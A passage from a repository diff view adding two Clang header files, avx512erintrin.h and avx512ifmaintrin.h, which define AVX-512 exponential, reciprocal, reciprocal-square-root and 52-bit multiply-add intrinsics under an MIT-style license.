/*===---- avx512erintrin.h - AVX512ER intrinsics ---------------------------===
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
#ifndef __IMMINTRIN_H
|
||||
#error "Never use <avx512erintrin.h> directly; include <immintrin.h> instead."
|
||||
#endif
|
||||
|
||||
#ifndef __AVX512ERINTRIN_H
|
||||
#define __AVX512ERINTRIN_H
|
||||
|
||||
// exp2a23
|
||||
#define _mm512_exp2a23_round_pd(A, R) __extension__ ({ \
|
||||
(__m512d)__builtin_ia32_exp2pd_mask((__v8df)(__m512d)(A), \
|
||||
(__v8df)_mm512_setzero_pd(), \
|
||||
(__mmask8)-1, (int)(R)); })
|
||||
|
||||
#define _mm512_mask_exp2a23_round_pd(S, M, A, R) __extension__ ({ \
|
||||
(__m512d)__builtin_ia32_exp2pd_mask((__v8df)(__m512d)(A), \
|
||||
(__v8df)(__m512d)(S), (__mmask8)(M), \
|
||||
(int)(R)); })
|
||||
|
||||
#define _mm512_maskz_exp2a23_round_pd(M, A, R) __extension__ ({ \
|
||||
(__m512d)__builtin_ia32_exp2pd_mask((__v8df)(__m512d)(A), \
|
||||
(__v8df)_mm512_setzero_pd(), \
|
||||
(__mmask8)(M), (int)(R)); })
|
||||
|
||||
#define _mm512_exp2a23_pd(A) \
|
||||
_mm512_exp2a23_round_pd((A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_mask_exp2a23_pd(S, M, A) \
|
||||
_mm512_mask_exp2a23_round_pd((S), (M), (A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_maskz_exp2a23_pd(M, A) \
|
||||
_mm512_maskz_exp2a23_round_pd((M), (A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_exp2a23_round_ps(A, R) __extension__ ({ \
|
||||
(__m512)__builtin_ia32_exp2ps_mask((__v16sf)(__m512)(A), \
|
||||
(__v16sf)_mm512_setzero_ps(), \
|
||||
(__mmask16)-1, (int)(R)); })
|
||||
|
||||
#define _mm512_mask_exp2a23_round_ps(S, M, A, R) __extension__ ({ \
|
||||
(__m512)__builtin_ia32_exp2ps_mask((__v16sf)(__m512)(A), \
|
||||
(__v16sf)(__m512)(S), (__mmask16)(M), \
|
||||
(int)(R)); })
|
||||
|
||||
#define _mm512_maskz_exp2a23_round_ps(M, A, R) __extension__ ({ \
|
||||
(__m512)__builtin_ia32_exp2ps_mask((__v16sf)(__m512)(A), \
|
||||
(__v16sf)_mm512_setzero_ps(), \
|
||||
(__mmask16)(M), (int)(R)); })
|
||||
|
||||
#define _mm512_exp2a23_ps(A) \
|
||||
_mm512_exp2a23_round_ps((A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_mask_exp2a23_ps(S, M, A) \
|
||||
_mm512_mask_exp2a23_round_ps((S), (M), (A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_maskz_exp2a23_ps(M, A) \
|
||||
_mm512_maskz_exp2a23_round_ps((M), (A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
// rsqrt28
|
||||
#define _mm512_rsqrt28_round_pd(A, R) __extension__ ({ \
|
||||
(__m512d)__builtin_ia32_rsqrt28pd_mask((__v8df)(__m512d)(A), \
|
||||
(__v8df)_mm512_setzero_pd(), \
|
||||
(__mmask8)-1, (int)(R)); })
|
||||
|
||||
#define _mm512_mask_rsqrt28_round_pd(S, M, A, R) __extension__ ({ \
|
||||
(__m512d)__builtin_ia32_rsqrt28pd_mask((__v8df)(__m512d)(A), \
|
||||
(__v8df)(__m512d)(S), (__mmask8)(M), \
|
||||
(int)(R)); })
|
||||
|
||||
#define _mm512_maskz_rsqrt28_round_pd(M, A, R) __extension__ ({ \
|
||||
(__m512d)__builtin_ia32_rsqrt28pd_mask((__v8df)(__m512d)(A), \
|
||||
(__v8df)_mm512_setzero_pd(), \
|
||||
(__mmask8)(M), (int)(R)); })
|
||||
|
||||
#define _mm512_rsqrt28_pd(A) \
|
||||
_mm512_rsqrt28_round_pd((A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_mask_rsqrt28_pd(S, M, A) \
|
||||
_mm512_mask_rsqrt28_round_pd((S), (M), (A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_maskz_rsqrt28_pd(M, A) \
|
||||
_mm512_maskz_rsqrt28_round_pd((M), (A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_rsqrt28_round_ps(A, R) __extension__ ({ \
|
||||
(__m512)__builtin_ia32_rsqrt28ps_mask((__v16sf)(__m512)(A), \
|
||||
(__v16sf)_mm512_setzero_ps(), \
|
||||
(__mmask16)-1, (int)(R)); })
|
||||
|
||||
#define _mm512_mask_rsqrt28_round_ps(S, M, A, R) __extension__ ({ \
|
||||
(__m512)__builtin_ia32_rsqrt28ps_mask((__v16sf)(__m512)(A), \
|
||||
(__v16sf)(__m512)(S), (__mmask16)(M), \
|
||||
(int)(R)); })
|
||||
|
||||
#define _mm512_maskz_rsqrt28_round_ps(M, A, R) __extension__ ({ \
|
||||
(__m512)__builtin_ia32_rsqrt28ps_mask((__v16sf)(__m512)(A), \
|
||||
(__v16sf)_mm512_setzero_ps(), \
|
||||
(__mmask16)(M), (int)(R)); })
|
||||
|
||||
#define _mm512_rsqrt28_ps(A) \
|
||||
_mm512_rsqrt28_round_ps((A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_mask_rsqrt28_ps(S, M, A) \
|
||||
_mm512_mask_rsqrt28_round_ps((S), (M), A, _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_maskz_rsqrt28_ps(M, A) \
|
||||
_mm512_maskz_rsqrt28_round_ps((M), (A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_rsqrt28_round_ss(A, B, R) __extension__ ({ \
|
||||
(__m128)__builtin_ia32_rsqrt28ss_round_mask((__v4sf)(__m128)(A), \
|
||||
(__v4sf)(__m128)(B), \
|
||||
(__v4sf)_mm_setzero_ps(), \
|
||||
(__mmask8)-1, (int)(R)); })
|
||||
|
||||
#define _mm_mask_rsqrt28_round_ss(S, M, A, B, R) __extension__ ({ \
|
||||
(__m128)__builtin_ia32_rsqrt28ss_round_mask((__v4sf)(__m128)(A), \
|
||||
(__v4sf)(__m128)(B), \
|
||||
(__v4sf)(__m128)(S), \
|
||||
(__mmask8)(M), (int)(R)); })
|
||||
|
||||
#define _mm_maskz_rsqrt28_round_ss(M, A, B, R) __extension__ ({ \
|
||||
(__m128)__builtin_ia32_rsqrt28ss_round_mask((__v4sf)(__m128)(A), \
|
||||
(__v4sf)(__m128)(B), \
|
||||
(__v4sf)_mm_setzero_ps(), \
|
||||
(__mmask8)(M), (int)(R)); })
|
||||
|
||||
#define _mm_rsqrt28_ss(A, B) \
|
||||
_mm_rsqrt28_round_ss((A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_mask_rsqrt28_ss(S, M, A, B) \
|
||||
_mm_mask_rsqrt28_round_ss((S), (M), (A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_maskz_rsqrt28_ss(M, A, B) \
|
||||
_mm_maskz_rsqrt28_round_ss((M), (A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_rsqrt28_round_sd(A, B, R) __extension__ ({ \
|
||||
(__m128d)__builtin_ia32_rsqrt28sd_round_mask((__v2df)(__m128d)(A), \
|
||||
(__v2df)(__m128d)(B), \
|
||||
(__v2df)_mm_setzero_pd(), \
|
||||
(__mmask8)-1, (int)(R)); })
|
||||
|
||||
#define _mm_mask_rsqrt28_round_sd(S, M, A, B, R) __extension__ ({ \
|
||||
(__m128d)__builtin_ia32_rsqrt28sd_round_mask((__v2df)(__m128d)(A), \
|
||||
(__v2df)(__m128d)(B), \
|
||||
(__v2df)(__m128d)(S), \
|
||||
(__mmask8)(M), (int)(R)); })
|
||||
|
||||
#define _mm_maskz_rsqrt28_round_sd(M, A, B, R) __extension__ ({ \
|
||||
(__m128d)__builtin_ia32_rsqrt28sd_round_mask((__v2df)(__m128d)(A), \
|
||||
(__v2df)(__m128d)(B), \
|
||||
(__v2df)_mm_setzero_pd(), \
|
||||
(__mmask8)(M), (int)(R)); })
|
||||
|
||||
#define _mm_rsqrt28_sd(A, B) \
|
||||
_mm_rsqrt28_round_sd((A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_mask_rsqrt28_sd(S, M, A, B) \
|
||||
_mm_mask_rsqrt28_round_sd((S), (M), (A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_maskz_rsqrt28_sd(M, A, B) \
|
||||
_mm_maskz_rsqrt28_round_sd((M), (A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
// rcp28
|
||||
#define _mm512_rcp28_round_pd(A, R) __extension__ ({ \
|
||||
(__m512d)__builtin_ia32_rcp28pd_mask((__v8df)(__m512d)(A), \
|
||||
(__v8df)_mm512_setzero_pd(), \
|
||||
(__mmask8)-1, (int)(R)); })
|
||||
|
||||
#define _mm512_mask_rcp28_round_pd(S, M, A, R) __extension__ ({ \
|
||||
(__m512d)__builtin_ia32_rcp28pd_mask((__v8df)(__m512d)(A), \
|
||||
(__v8df)(__m512d)(S), (__mmask8)(M), \
|
||||
(int)(R)); })
|
||||
|
||||
#define _mm512_maskz_rcp28_round_pd(M, A, R) __extension__ ({ \
|
||||
(__m512d)__builtin_ia32_rcp28pd_mask((__v8df)(__m512d)(A), \
|
||||
(__v8df)_mm512_setzero_pd(), \
|
||||
(__mmask8)(M), (int)(R)); })
|
||||
|
||||
#define _mm512_rcp28_pd(A) \
|
||||
_mm512_rcp28_round_pd((A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_mask_rcp28_pd(S, M, A) \
|
||||
_mm512_mask_rcp28_round_pd((S), (M), (A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_maskz_rcp28_pd(M, A) \
|
||||
_mm512_maskz_rcp28_round_pd((M), (A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_rcp28_round_ps(A, R) __extension__ ({ \
|
||||
(__m512)__builtin_ia32_rcp28ps_mask((__v16sf)(__m512)(A), \
|
||||
(__v16sf)_mm512_setzero_ps(), \
|
||||
(__mmask16)-1, (int)(R)); })
|
||||
|
||||
#define _mm512_mask_rcp28_round_ps(S, M, A, R) __extension__ ({ \
|
||||
(__m512)__builtin_ia32_rcp28ps_mask((__v16sf)(__m512)(A), \
|
||||
(__v16sf)(__m512)(S), (__mmask16)(M), \
|
||||
(int)(R)); })
|
||||
|
||||
#define _mm512_maskz_rcp28_round_ps(M, A, R) __extension__ ({ \
|
||||
(__m512)__builtin_ia32_rcp28ps_mask((__v16sf)(__m512)(A), \
|
||||
(__v16sf)_mm512_setzero_ps(), \
|
||||
(__mmask16)(M), (int)(R)); })
|
||||
|
||||
#define _mm512_rcp28_ps(A) \
|
||||
_mm512_rcp28_round_ps((A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_mask_rcp28_ps(S, M, A) \
|
||||
_mm512_mask_rcp28_round_ps((S), (M), (A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm512_maskz_rcp28_ps(M, A) \
|
||||
_mm512_maskz_rcp28_round_ps((M), (A), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_rcp28_round_ss(A, B, R) __extension__ ({ \
|
||||
(__m128)__builtin_ia32_rcp28ss_round_mask((__v4sf)(__m128)(A), \
|
||||
(__v4sf)(__m128)(B), \
|
||||
(__v4sf)_mm_setzero_ps(), \
|
||||
(__mmask8)-1, (int)(R)); })
|
||||
|
||||
#define _mm_mask_rcp28_round_ss(S, M, A, B, R) __extension__ ({ \
|
||||
(__m128)__builtin_ia32_rcp28ss_round_mask((__v4sf)(__m128)(A), \
|
||||
(__v4sf)(__m128)(B), \
|
||||
(__v4sf)(__m128)(S), \
|
||||
(__mmask8)(M), (int)(R)); })
|
||||
|
||||
#define _mm_maskz_rcp28_round_ss(M, A, B, R) __extension__ ({ \
|
||||
(__m128)__builtin_ia32_rcp28ss_round_mask((__v4sf)(__m128)(A), \
|
||||
(__v4sf)(__m128)(B), \
|
||||
(__v4sf)_mm_setzero_ps(), \
|
||||
(__mmask8)(M), (int)(R)); })
|
||||
|
||||
#define _mm_rcp28_ss(A, B) \
|
||||
_mm_rcp28_round_ss((A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_mask_rcp28_ss(S, M, A, B) \
|
||||
_mm_mask_rcp28_round_ss((S), (M), (A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_maskz_rcp28_ss(M, A, B) \
|
||||
_mm_maskz_rcp28_round_ss((M), (A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_rcp28_round_sd(A, B, R) __extension__ ({ \
|
||||
(__m128d)__builtin_ia32_rcp28sd_round_mask((__v2df)(__m128d)(A), \
|
||||
(__v2df)(__m128d)(B), \
|
||||
(__v2df)_mm_setzero_pd(), \
|
||||
(__mmask8)-1, (int)(R)); })
|
||||
|
||||
#define _mm_mask_rcp28_round_sd(S, M, A, B, R) __extension__ ({ \
|
||||
(__m128d)__builtin_ia32_rcp28sd_round_mask((__v2df)(__m128d)(A), \
|
||||
(__v2df)(__m128d)(B), \
|
||||
(__v2df)(__m128d)(S), \
|
||||
(__mmask8)(M), (int)(R)); })
|
||||
|
||||
#define _mm_maskz_rcp28_round_sd(M, A, B, R) __extension__ ({ \
|
||||
(__m128d)__builtin_ia32_rcp28sd_round_mask((__v2df)(__m128d)(A), \
|
||||
(__v2df)(__m128d)(B), \
|
||||
(__v2df)_mm_setzero_pd(), \
|
||||
(__mmask8)(M), (int)(R)); })
|
||||
|
||||
#define _mm_rcp28_sd(A, B) \
|
||||
_mm_rcp28_round_sd((A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_mask_rcp28_sd(S, M, A, B) \
|
||||
_mm_mask_rcp28_round_sd((S), (M), (A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#define _mm_maskz_rcp28_sd(M, A, B) \
|
||||
_mm_maskz_rcp28_round_sd((M), (A), (B), _MM_FROUND_CUR_DIRECTION)
|
||||
|
||||
#endif // __AVX512ERINTRIN_H
|
9543
tools/android-sdk/renderscript/clang-include/avx512fintrin.h
Normal file
|
@ -0,0 +1,92 @@
|
|||
/*===------------- avx512ifmaintrin.h - IFMA intrinsics ------------------===
|
||||
*
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
#ifndef __IMMINTRIN_H
|
||||
#error "Never use <avx512ifmaintrin.h> directly; include <immintrin.h> instead."
|
||||
#endif
|
||||
|
||||
#ifndef __IFMAINTRIN_H
|
||||
#define __IFMAINTRIN_H
|
||||
|
||||
/* Define the default attributes for the functions in this file. */
|
||||
#define __DEFAULT_FN_ATTRS __attribute__((__always_inline__, __nodebug__, __target__("avx512ifma")))
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_madd52hi_epu64 (__m512i __X, __m512i __Y, __m512i __Z)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpmadd52huq512_mask ((__v8di) __X,
|
||||
(__v8di) __Y,
|
||||
(__v8di) __Z,
|
||||
(__mmask8) -1);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_mask_madd52hi_epu64 (__m512i __W, __mmask8 __M, __m512i __X,
|
||||
__m512i __Y)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpmadd52huq512_mask ((__v8di) __W,
|
||||
(__v8di) __X,
|
||||
(__v8di) __Y,
|
||||
(__mmask8) __M);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_maskz_madd52hi_epu64 (__mmask8 __M, __m512i __X, __m512i __Y, __m512i __Z)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpmadd52huq512_maskz ((__v8di) __X,
|
||||
(__v8di) __Y,
|
||||
(__v8di) __Z,
|
||||
(__mmask8) __M);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_madd52lo_epu64 (__m512i __X, __m512i __Y, __m512i __Z)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpmadd52luq512_mask ((__v8di) __X,
|
||||
(__v8di) __Y,
|
||||
(__v8di) __Z,
|
||||
(__mmask8) -1);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_mask_madd52lo_epu64 (__m512i __W, __mmask8 __M, __m512i __X,
|
||||
__m512i __Y)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpmadd52luq512_mask ((__v8di) __W,
|
||||
(__v8di) __X,
|
||||
(__v8di) __Y,
|
||||
(__mmask8) __M);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_maskz_madd52lo_epu64 (__mmask8 __M, __m512i __X, __m512i __Y, __m512i __Z)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpmadd52luq512_maskz ((__v8di) __X,
|
||||
(__v8di) __Y,
|
||||
(__v8di) __Z,
|
||||
(__mmask8) __M);
|
||||
}
|
||||
|
||||
#undef __DEFAULT_FN_ATTRS
|
||||
|
||||
#endif
|